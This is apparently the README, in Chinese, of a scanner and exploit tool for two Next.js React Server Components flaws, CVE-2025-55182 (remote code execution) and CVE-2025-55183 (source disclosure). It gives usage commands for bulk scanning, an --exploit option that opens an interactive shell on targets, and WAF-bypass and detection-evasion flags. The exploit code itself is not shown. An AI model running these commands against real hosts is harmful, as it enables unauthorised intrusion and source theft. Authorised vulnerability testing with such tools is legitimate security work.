此仓库包含一个针对 Next.js React Server Components(RSC)中 CVE-2025-55182(远程代码执行)和 CVE-2025-55183(源代码泄露)的扫描器工具。
此工具仅用于教育和授权测试目的。 请勿在您不拥有或未经明确许可的系统上使用此工具。作者对任何滥用行为不承担责任。
如需详细的技术分析,请参考:https://react2shell.com/
pip3 install -r requirements.txt
检查目标 URL 是否存在漏洞。
python3 CVE-2025-55182.py -u <url>
从文件扫描主机列表(每行一个)。
python3 CVE-2025-55182.py -l <hosts_file>
在存在漏洞的目标上获取交互式 Shell。
python3 CVE-2025-55182.py -u <url> --exploit
检查目标是否通过 Server Actions 泄露源代码。
python3 CVE-2025-55182.py -u <url> --nextjs-rsc-source-code-disclosure
使用侧信道检测(基于时间/错误)而非尝试 RCE。
python3 CVE-2025-55182.py -u <url> --safe-check
添加垃圾数据以绕过 WAF 内容检查,或使用特定的绕过方式。
# Standard WAF bypass (junk data)
python3 CVE-2025-55182.py -u <url> --waf-bypass --waf-bypass-size 128
# Vercel WAF bypass variant
python3 CVE-2025-55182.py -u <url> --vercel-waf-bypass
# Custom headers
python3 CVE-2025-55182.py -u <url> -H "Authorization: Bearer token" -H "X-Custom: Header"
# Proxy usage
python3 CVE-2025-55182.py -u <url> --proxy http://127.0.0.1:8080
# Random User-Agent and Delay
python3 CVE-2025-55182.py -u <url> --random-agent --delay 2.0
# Scan specific path
python3 CVE-2025-55182.py -u <url> --path /_next --path /api
将结果以 JSON、CSV 或 HTML 格式保存到文件。--all-results 标志会同时保存存在漏洞和不存在漏洞的主机。
python3 CVE-2025-55182.py -u <url> -o results.json --format json --all-results
您可以使用提供的 Docker 镜像运行一个存在漏洞的实例进行测试:
docker build -t cve-local .
docker run --rm -p 3000:3000 cve-local
对 Vercel 安全研究感兴趣?请查看我们的协作研究文档:
📄 VERCEL_RESEARCH.md - 一份全面的指南,内容包括:
开启一个带有 research 标签的 issue 加入讨论!
| 参数 | 描述 |
|---|
-u, --url | 要检查的单个 URL/主机。 |
-l, --list | 包含要扫描的主机列表的文件。 |
--exploit | 进入交互式 Shell 模式(需要 -u)。 |
--nextjs-rsc-source-code-disclosure | 检查源代码泄露(CVE-2025-55183)。 |
-t, --threads | 并发线程数(默认:10)。 |
--timeout | 请求超时时间(秒)(默认:10)。 |
-o, --output | 结果输出文件。 |
--format | 输出格式:json、csv、html。 |
--all-results | 保存所有结果,而不仅仅是存在漏洞的主机。 |
-k, --insecure | 禁用 SSL 证书验证。 |
-H, --header | 自定义请求头,格式为“Key: Value”。 |
--path | 要测试的自定义路径(例如“/_next”)。 |
--path-file | 包含要测试的路径列表的文件。 |
--safe-check | 使用安全的侧信道检测而非 RCE PoC。 |
--windows | 使用 Windows PowerShell 载荷。 |
--waf-bypass | 添加垃圾数据以绕过 WAF。 |
--waf-bypass-size | WAF 绕过用垃圾数据的大小(KB)。 |
--vercel-waf-bypass | 使用 Vercel WAF 绕过载荷。 |
--bypass-variant | 选择特定的 WAF 绕过变体(1-102)或“all”。 |
-x, --proxy | 代理 URL(例如 http://127.0.0.1:8080)。 |
--random-agent | 为每个请求使用随机 User-Agent。 |
--delay | 请求之间的延迟(秒)。 |
-v, --verbose | 详细输出(显示响应片段)。 |
-q, --quiet | 安静模式(仅显示存在漏洞的主机)。 |
--no-color | 禁用彩色输出。 |